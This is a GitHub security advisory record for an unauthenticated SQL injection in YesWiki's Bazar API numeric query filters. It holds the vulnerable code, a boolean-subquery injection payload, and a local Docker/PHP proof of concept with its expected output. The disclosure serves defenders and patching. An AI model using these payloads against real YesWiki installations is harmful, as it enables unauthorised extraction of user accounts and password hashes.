{"id":"GHSA-qg78-vmvc-fhjw","summary":"YesWiki: SQL Injection possible through public Bazar entry-listing APIs via numeric `query`/`queries` filters","details":"### Summary\nYesWiki’s public Bazar entry-listing APIs are vulnerable to unauthenticated SQL injection in numeric `query` / `queries` filters.\n\nFor Bazar fields whose value structure is numeric, YesWiki escapes the attacker-controlled filter value but inserts it into SQL without quotes or numeric validation. An unauthenticated attacker can inject boolean SQL expressions and infer database contents from whether entries are returned.\n\n### Details\nThe public Bazar API reads attacker-controlled query filters from GET parameters:\n\n```php\n// tools/bazar/controllers/ApiController.php\n$vQuery = $_GET['query'] ?? $_GET['queries'] ?? null;\n$vQuery = $vSearchManager-\u003eaggregateQueries(\n    !empty($selectedEntries) ? ['queries' =\u003e ['id_fiche' =\u003e $selectedEntries]] : [],\n    isset($vQuery) ? urldecode($vQuery) : ''\n);\n```\n\nRelevant public routes include:\n\n```php\n@Route(\"/api/forms/{formId}/entries/{output}/{selectedEntries}\", methods={\"GET\"}, options={\"acl\":{\"public\"}})\n@Route(\"/api/entries/{output}/{selectedEntries}\", methods={\"GET\"}, options={\"acl\":{\"public\"}})\n@Route(\"/api/entries/bazarlist\", methods={\"GET\"}, options={\"acl\":{\"public\"}})\n```\n\nThe query is passed into `BazarListService::getEntries()` and then into `SearchManager::search()`:\n\n```php\n// tools/bazar/services/BazarListService.php\n$vLocalEntries = $vSearchManager-\u003esearch(\n    array_merge(\n        $pOptions,\n        [\n            'formsIds' =\u003e $vLocalIDs,\n        ]\n    ),\n    true,\n    true\n);\n```\n\nThe vulnerable sink is in `SearchManager::buildQueriesConditions()`:\n\n```php\n// tools/bazar/services/SearchManager.php\nif ($vDescriptor['_type_'] == 'number') {\n    if (isset($vValue) && trim($vValue) !== '') {\n        $vValueConditions[] = 'CAST(' . mysqli_real_escape_string($this-\u003ewiki-\u003edblink, $this-\u003erenameJSONPathVariable($vFieldName)) . ' AS DOUBLE) ' . $vComparisonOperator . ' ' . mysqli_real_escape_string($this-\u003ewiki-\u003edblink, $vValue);\n    }\n}\n```\n\nBecause numeric values are not quoted, SQL syntax remains active after escaping. For example, the following value is accepted as part of the numeric expression:\n\n```text\n100 OR (SELECT COUNT(*) FROM yeswiki_users)\u003e0\n```\n\nThis produces a predicate equivalent to:\n\n```sql\nCAST(bf_age AS DOUBLE) \u003e 100 OR (SELECT COUNT(*) FROM yeswiki_users)\u003e0\n```\n\nRead ACL filtering and Bazar Guard processing do not prevent exploitation because the injected SQL expression is evaluated by the database before returned rows are post-processed.\n\nNumeric Bazar filters are a documented/common feature. The documentation includes examples such as:\n\n```text\nquery=\"bf_age\u003e18\"\nquery=\"bf_age \u003e= 20 | bf_age \u003c 40\"\n```\n\nBazar numeric fields are also common through field types such as `number`, `range`, and map latitude/longitude fields.\n\n### PoC\nThe following local-only PoC uses the shipped `SearchManager` code with a minimal MariaDB fixture. It demonstrates that a true injected boolean subquery changes the returned entries, while a false subquery does not.\n\nRun from the repository root:\n\n```bash\nset -euo pipefail; name=\"yeswiki-audit-db-$$\"; docker run -d --rm --name \"$name\" -e MARIADB_ROOT_PASSWORD=auditpass -e MARIADB_ROOT_HOST='%' -e MARIADB_DATABASE=yeswiki mariadb:11.4 \u003e/dev/null; trap 'docker rm -f \"$name\" \u003e/dev/null 2\u003e&1 || true' EXIT; until docker exec \"$name\" mariadb-admin ping -h127.0.0.1 -uroot -pauditpass --silent \u003e/dev/null 2\u003e&1; do sleep 1; done; docker run --rm -i --network \"container:$name\" -v \"$PWD:/repo:ro\" --entrypoint php phpmyadmin:5.2.1 -d error_reporting=E_ERROR -d display_errors=1 \u003c\u003c'PHP'\n\u003c?php\nnamespace YesWiki\\Bazar\\Service {\n    class EntryManager { public const TRIPLES_ENTRY_ID = 'yeswiki-entry'; }\n    class FormManager { public function getMany($ids) { return [1 =\u003e ['prepared' =\u003e [new \\DummyNumberField()]]]; } }\n}\nnamespace {\n    class DummyNumberField {\n        public function getPropertyName() { return 'bf_age'; }\n        public function getValueStructure() { return ['bf_age' =\u003e ['_mode_' =\u003e 'single', '_type_' =\u003e 'number']]; }\n    }\n    class DummyServices {\n        public function get($class) {\n            if ($class === 'YesWiki\\\\Bazar\\\\Service\\\\FormManager') { return new \\YesWiki\\Bazar\\Service\\FormManager(); }\n            if ($class === 'YesWiki\\\\Bazar\\\\Service\\\\EntryManager') { return new \\YesWiki\\Bazar\\Service\\EntryManager(); }\n            throw new \\RuntimeException('Unexpected service: ' . $class);\n        }\n    }\n    class DummyWiki {\n        public $dblink;\n        public $services;\n        public function __construct($dblink) { $this-\u003edblink = $dblink; $this-\u003eservices = new DummyServices(); }\n        public function GetConfigValue($name, $default = null) { return $name === 'min_search_keyword_length' ? 3 : $default; }\n        public function UserIsAdmin() { return false; }\n        public function getUserName() { return 'Anonymous'; }\n    }\n    class DummyDbService {\n        public function getCollation(): string { return 'utf8mb4_unicode_ci'; }\n        public function prefixTable($tableName) { return ' yeswiki_' . $tableName . ' '; }\n    }\n    class DummyAclService { public function updateRequestWithACL() { return '1=1'; } }\n\n    require '/repo/tools/bazar/services/SearchManager.php';\n\n    $db = mysqli_connect('127.0.0.1', 'root', 'auditpass', 'yeswiki');\n    if (!$db) { throw new \\RuntimeException(mysqli_connect_error()); }\n    mysqli_set_charset($db, 'utf8mb4');\n\n    foreach ([\n        \"CREATE TABLE yeswiki_pages (id INT PRIMARY KEY AUTO_INCREMENT, tag VARCHAR(64), time DATETIME DEFAULT CURRENT_TIMESTAMP, user VARCHAR(64), owner VARCHAR(64), latest CHAR(1), comment_on VARCHAR(64), body JSON)\",\n        \"CREATE TABLE yeswiki_triples (resource VARCHAR(64), value VARCHAR(64), property VARCHAR(128))\",\n        \"CREATE TABLE yeswiki_users (name VARCHAR(64), password VARCHAR(256), email VARCHAR(191))\",\n        \"INSERT INTO yeswiki_users VALUES ('admin', 'dummy_hash_marker', 'secret@example.test')\",\n        \"INSERT INTO yeswiki_pages (tag,user,owner,latest,comment_on,body) VALUES ('EntryA','alice','alice','Y','',JSON_OBJECT('id_typeannonce','1','id_fiche','EntryA','bf_age','10')), ('EntryB','bob','bob','Y','',JSON_OBJECT('id_typeannonce','1','id_fiche','EntryB','bf_age','20'))\",\n        \"INSERT INTO yeswiki_triples VALUES ('EntryA','yeswiki-entry','http://outils-reseaux.org/_vocabulary/type'), ('EntryB','yeswiki-entry','http://outils-reseaux.org/_vocabulary/type')\",\n    ] as $sql) {\n        if (!mysqli_query($db, $sql)) { throw new \\RuntimeException(mysqli_error($db) . \" in \" . $sql); }\n    }\n\n    $ref = new \\ReflectionClass(\\YesWiki\\Bazar\\Service\\SearchManager::class);\n    $sm = $ref-\u003enewInstanceWithoutConstructor();\n    foreach (['wiki' =\u003e new DummyWiki($db), 'dbService' =\u003e new DummyDbService(), 'aclService' =\u003e new DummyAclService()] as $prop =\u003e $value) {\n        $rp = $ref-\u003egetProperty($prop);\n        $rp-\u003esetAccessible(true);\n        $rp-\u003esetValue($sm, $value);\n    }\n\n    $cases = [\n        'control_no_match' =\u003e 'bf_age\u003e100',\n        'boolean_true_subquery' =\u003e 'bf_age\u003e100 OR (SELECT COUNT(*) FROM yeswiki_users)\u003e0',\n        'boolean_false_subquery' =\u003e 'bf_age\u003e100 OR (SELECT COUNT(*) FROM yeswiki_users WHERE 0)\u003e0',\n    ];\n\n    foreach ($cases as $label =\u003e $query) {\n        $params = ['queries' =\u003e $query, 'formsIds' =\u003e [1]];\n        $sql = $sm-\u003eprepareSearchRequest($params, true, false);\n        $result = mysqli_query($db, $sql);\n        if (!$result) { throw new \\RuntimeException(mysqli_error($db) . \" in \" . $sql); }\n        $tags = [];\n        while ($row = mysqli_fetch_assoc($result)) { $tags[] = $row['tag']; }\n        sort($tags);\n        printf(\"%s: %d rows [%s]\\n\", $label, count($tags), implode(',', $tags));\n        if ($label === 'boolean_true_subquery') {\n            echo \"where_fragment=\" . preg_replace('/^.* WHERE /s', '', $sql) . \"\\n\";\n        }\n    }\n}\nPHP\n```\n\nExpected vulnerable output:\n\n```text\ncontrol_no_match: 0 rows []\nboolean_true_subquery: 2 rows [EntryA,EntryB]\nwhere_fragment=((CAST(bf_age AS DOUBLE) \u003e 100 OR (SELECT COUNT(*) FROM yeswiki_users)\u003e0)) AND 1=1\nboolean_false_subquery: 0 rows []\n```\n\nThe no-match control returns no rows. The false injected subquery also returns no rows. The true injected subquery returns rows, proving that attacker-controlled SQL is evaluated inside the numeric filter.\n\n### Impact\nThis is an unauthenticated SQL injection vulnerability.\n\nAn attacker can use public Bazar API endpoints as a boolean oracle to infer data accessible to the YesWiki database user. This may include user account data, password hashes, password recovery material, private wiki metadata, or other sensitive database contents.","aliases":["CVE-2026-52770"],"modified":"2026-07-09T21:26:41.632142Z","published":"2026-07-09T21:00:05Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-89"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-07-09T21:00:05Z"},"references":[{"type":"WEB","url":"https://github.com/YesWiki/yeswiki/security/advisories/GHSA-qg78-vmvc-fhjw"},{"type":"WEB","url":"https://github.com/YesWiki/yeswiki/commit/f3b0dd093a7ace47dc29a515faeb02635baceae2"},{"type":"PACKAGE","url":"https://github.com/YesWiki/yeswiki"}],"affected":[{"package":{"name":"yeswiki/yeswiki","ecosystem":"Packagist","purl":"pkg:composer/yeswiki/yeswiki"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.6.6"}]}],"versions":["4.2.3","v4.1.0","v4.1.1","v4.1.2","v4.1.3","v4.1.4","v4.1.5","v4.2.0","v4.2.1","v4.2.2","v4.2.4","v4.3","v4.3.1","v4.4.0","v4.4.1","v4.4.2","v4.4.3","v4.4.4","v4.4.5","v4.5.0","v4.5.1","v4.5.2","v4.5.3","v4.5.4","v4.5.5","v4.6.0","v4.6.1","v4.6.2","v4.6.3","v4.6.4","v4.6.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-qg78-vmvc-fhjw/GHSA-qg78-vmvc-fhjw.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}